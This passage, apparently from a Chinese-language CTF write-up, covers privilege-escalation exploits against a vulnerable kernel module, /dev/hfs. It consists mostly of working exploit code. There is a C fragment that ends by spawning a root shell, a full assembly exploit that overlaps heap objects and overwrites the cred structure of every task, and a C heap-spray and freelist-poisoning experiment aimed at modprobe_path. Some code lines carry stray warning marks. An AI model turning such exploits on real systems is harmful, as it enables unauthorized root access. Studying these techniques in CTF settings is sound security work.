write_address(fd, (0xffff880006610000+i), 0x0);
}
}

setresuid(0, 0, 0);
system("/bin/sh");

printf("[+] End");

close(fd);

return 0;
}

为什么从0xffff880006610000开始搜?

solution 2:

改写modprobe_path, 执行脚本

solution 3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
[BITS 64]
; nasm -f elf64 pwn.S -o pwn.o && ld pwn.o -o pwn

global _start

section .text

_start:
mov rdi, dev ; /dev/hfs
mov rsi, 2
mov rdx, 0
mov rax, 2
syscall ; open( "/dev/hfs" , O_RDWR , 0 ) = 3

mov qword [arg], 0 ; id
mov qword [arg+8], 0x20 ; size
call create

mov qword [arg], 1
mov qword [arg+8], 0x20
call create

mov qword [arg], 1
mov qword [arg+8], 0x21
mov qword [arg+0x10], pwn ; payload
call write

mov qword [arg], 3
mov qword [arg+8], 0x20
call create ; Overlap!


mov qword [i], 0
mov qword [base], 0xffffffff81a1b4c0 ; init_task
add qword [base], 0x1d0 ; init_task->tasks
; struct list_head tasks;
loop:
mov rbx, qword [base]
sub rbx, 0x1d0
add rbx, 0x3c0 ; &(p->cred) const struct cred __rcu *cred;
mov qword [fake + 8], rbx
call dump ; a = &(p->cred)

mov rbx, qword [a] ; rbx = p->cred
add rbx, 4
mov qword [fake + 8], rbx


mov qword [fake + 16], 0x20
mov qword [arg], 3
mov qword [arg+8], 0x20
mov qword [arg+0x10], fake ; fake obj
call write

mov qword [arg], 0 ; id
mov qword [arg+8], 0x20 ; size
mov qword [arg+16], cred ; overwrite p->cred + 4
call write


mov qword [fake + 16], 8

mov rbx, qword [base]
mov qword [fake + 8], rbx
call dump ; a = &(p->tasks.next)

mov rbx, qword [a]
mov qword [base], rbx ; [base] = p->tasks.next

add qword [i], 1
cmp qword [i], 25 ; make sure to traverse full circular linked list
jne loop
exit:
xor rdi, rdi
mov rax, 0x3c
syscall


dump:
mov qword [arg], 3 ; id
mov qword [arg+8], 0x20 ; size
mov qword [arg+0x10], fake ; fake obj
call write

mov qword [arg], 0 ; id
mov qword [arg+8], 8 ; size
mov qword [arg+16], a ; copy to a
call read
ret
set:
mov qword [arg], 3 ; id
mov qword [arg+8], 0x20 ; size
mov qword [arg+0x10], fake ; fake obj
call write

mov qword [arg], 0 ; id
mov qword [arg+8], 8 ; size
mov qword [arg+16], a ; copy from a
call write
ret

print_a:
mov rdi, 1
mov rsi, a
mov rdx, 9
mov rax, 1
syscall
ret

create:
mov rdi, 3
mov rsi, 0xABCD0001
mov rdx, arg
mov rax, 16
syscall
ret
delete:
mov rdi, 3
mov rsi, 0xABCD0002
mov rdx, arg
mov rax, 16
syscall
ret
read:
mov rdi, 3
mov rsi, 0xABCD0003
mov rdx, arg
mov rax, 16
syscall
ret
write:
mov rdi, 3
mov rsi, 0xABCD0004
mov rdx, arg
mov rax, 16
syscall
ret


section .data

pwn: db "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" , 0x40 , 0
fake: dq 0 , 0 , 8
arg: dq 0 , 0 , 0
cred: dq 0 , 0 , 0 , 0

a: dq 0 , 0xa
i: dq 0
base: dq 0 , 0xa

dev: db "/dev/hfs",0

Other:

我尝试去溢出fd指针到object自身,类似于double free的效果,然后去申请内核某地址的时候会失败,但尝试关掉smap去申请用户态地址的时候可以成功,目前没有找到原因…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/mman.h>

#define CMD_ADD 0xabcd0001
#define CMD_DEL 0xabcd0002
#define CMD_WRITE 0xabcd0004
#define CMD_READ 0xabcd0003
#define die(msg) do { perror(msg); exit(-1);} while(0)

typedef struct {
uint64_t key;
uint64_t size;
void *buf;
} user_arg;

/*
* struct kernel_node {
* unit64 key;
* void *buf;
* uint64 size;
* };
*
*/

int fd;
uint64_t kernel_base;
uint64_t kernel_slide;

int do_ioctl(unsigned int cmd, uint64_t key, uint64_t size, void *buf) {
user_arg arg = {
.key = key,
.size = size,
.buf = buf,
};
long retval = ioctl(fd, cmd, &arg);
if(retval < 0)
die("[*] ioctl error.");
⚠ }

int main()
{
unsigned char cpu_mask = 1;
⚠ sched_setaffinity(0, 1, &cpu_mask);

fd = open("/dev/hfs", O_RDWR);
if (fd < 0)
die("[*] error open device");

// spary
for (int i=0 ;i<0x100; i++){
do_ioctl(CMD_ADD, i, 0x80, NULL);
}

do_ioctl(CMD_ADD, 0x200, 0x80, NULL);
do_ioctl(CMD_ADD, 0x201, 0x80, NULL);
do_ioctl(CMD_ADD, 0x202, 0x80, NULL);

do_ioctl(CMD_DEL, 0x202, 0, 0);
do_ioctl(CMD_DEL, 0x201, 0, 0);

char payload[0x81];
memset(payload, 0x61, 0x80);
payload[0x80] = '\0';

do_ioctl(CMD_WRITE, 0x200, 0x81, (void *)payload);

uint64_t modprobe_path[0x10];
modprobe_path[0] = 0xffffffff81a3f7a0;
memset((void *)modprobe_path+8, 0x41, 0x80-8);
/*
¦* test
¦*/
void *a = mmap(0x1314000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
uint64_t addr = (uint64_t)0x1314000;

do_ioctl(CMD_ADD, 0x300, 0x80, NULL);
do_ioctl(CMD_WRITE, 0x300, 0x80, &addr);
do_ioctl(CMD_ADD, 0x301, 0x80, NULL);
do_ioctl(CMD_ADD, 0x302, 0x80, NULL);

char *path = "/home/user/a";
do_ioctl(CMD_WRITE, 0x302, 12, path);


//checkout heap layout
sleep(0);
puts(a);
puts((void *)addr);
return 0;
}

result:

1
2
3
user@hfs:~$ /exp
/home/user/a
/home/user/a